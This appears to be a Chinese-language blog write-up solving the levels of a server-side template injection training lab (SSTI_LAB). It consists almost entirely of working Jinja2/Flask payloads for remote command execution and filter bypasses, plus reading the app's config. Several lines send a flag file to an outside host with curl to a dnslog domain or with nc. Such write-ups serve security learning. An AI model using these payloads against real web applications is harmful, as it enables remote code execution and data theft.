SSTI_LAB
Level1
找<class ‘os._wrap_close’>没啥好说
1 | {{''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')}} |
判断可导入模块__import___
发现80818283可以import执行
Level2
{{}}
被过滤,使用{{%print %}}
来bypass
1 | {%print''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%} |
使用dnslog外带
1 | {% if ().__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen("curl `cat flag`yiyi.eyes.sh").read()=='ssti' %}1{% endif %} |
Level3
盲注
dnslog外带
1 | {% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`cat flag``yiyi.eyes.sh').read()}}{% endif %}{% endfor %} |
nc外带
1 | {% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc ip port').read()}}{% endif %}{% endfor %} |
Level4
过滤了[ ]
,这里有两种情况下的过滤
- 使用
pop
或__getitem__()
代替索引中的[]
- 使用
__getattribute__
代替魔术方法中的[]
1 | # os |
一步步来
1 | {{''.__class__.__mro__[1]}} |
报waf
1 | {{''.__class__.__mro__.__getitem__(0)}} |
1 | {{''.__class__.__mro__.__getitem__(1).__subclasses__()}} |
1 | {{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('ls').read()}} |
也可以用一句话查找索引
1 | {% for i in ''.__class__.__mro__.__getitem__(-1).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('ls').read()}}{% endif %}{% endfor %} |
Level-5
过滤了单、双引号,有两种方法绕过
1 | #post |
post
1 | code={{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[request.values.arg1](request.values.arg2).read()}} |
cookie
1 | POST /level/5 HTTP/1.1 |
Level-6
过滤下划线
\x5f替代下划线,用[]包裹
1 | code={{''["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[133]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('ls').read()}} |
Level-7
过滤了点 用[]绕过
1 | code= {{''['__class__']['__bases__'][0]['__subclasses__']()[133]['__init__']['__globals__']['popen']('ls')['read']()}} |
Level-8
过滤大量关键词,使用+号拼接
1 | code={{''['__cla'+'ss__']['__bas'+'es__'][0]['__subclas'+'ses__']()[133]['__in'+'it__']['__gl'+'obals__']['po'+'pen']('l'+'s')['rea'+'d']()}} |
Level-9
过滤了数字
- 用循环找到能利用的类直接用
1 | code={% for i in ''.__class__.__base__.__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('ls').read()}}{% endif %}{% endfor%} |
- 用lipsum不通过数字直接利用
1 | code={{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}} |
- 构造数字进行拼接
构造数字
1 | {%set zero=([]|string|list).index('[')%} |
拼接payload
1 | {%set one=dict(a=a)|join|count%} |
Level-10
WAF: set config = None
这一关的目标不是flag,而是获取config,可以通过current_app
来获取
- url_for
1 | {{url_for.__globals__['current_app'].config}} |
- get_flashed_messages
1 | {{get_flashed_messages.__globals__['current_app'].config}} |
Level-11
绕过了'
"
+
request
.
[
]
确定一个利用的基本payload
1 | {{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}} |
输入
1 | {{lipsum|string|list}} |
得到
1 | Hello ['<', 'f', 'u', 'n', 'c', 't', 'i', 'o', 'n', ' ', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'e', '_', 'l', 'o', 'r', 'e', 'm', '_', 'i', 'p', 's', 'u', 'm', ' ', 'a', 't', ' ', '0', 'x', '7', 'f', '1', 'f', '1', '3', '1', '5', 'e', 'c', 'a', '0', '>'] |
这样就可以考虑用pop去取我们需要的字符来构造payload
但是attr()
里面要求的是字符串,使用pop的时候需要引号或者点号 会被waf拦截
1 | {{(lipsum|string|list).pop(18)}} |
于是可以尝试通过set
可以给字符串赋值,通过dict
和join
可以绕过引号获取字符串
构造ls
1 | {% set pop=dict(pop=1)|join%} #attr()里面要求的是字符串,直接输pop需要用引号''包围起来,但是这里又过滤了引号,所以要先构造一个pop字符串 |
得到payload
1 | {% set pop=dict(pop=1)|join%} |
构造ls app
1 | {% set pop=dict(pop=1)|join%} |
由于没有/因此暂时没想到怎么绕过反斜杠读取app/flag
如果本地跑app.py flag是在同一目录下的
Level-12
多过滤了数字和下划线
ls
1 | {% set nine=dict(abcdefghi=a)|join|length %} |
ls app
1 | {% set nine=dict(abcdefghi=a)|join|length %} |
Level 13
多过滤了几个关键字,而且又把+
也过滤了,但是没什么影响
ls
1 | {% set nine=dict(abcdefghi=a)|join|length %} |
env
1 | {% set nine=dict(abcdefghi=a)|join|length %} |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yiyi!
评论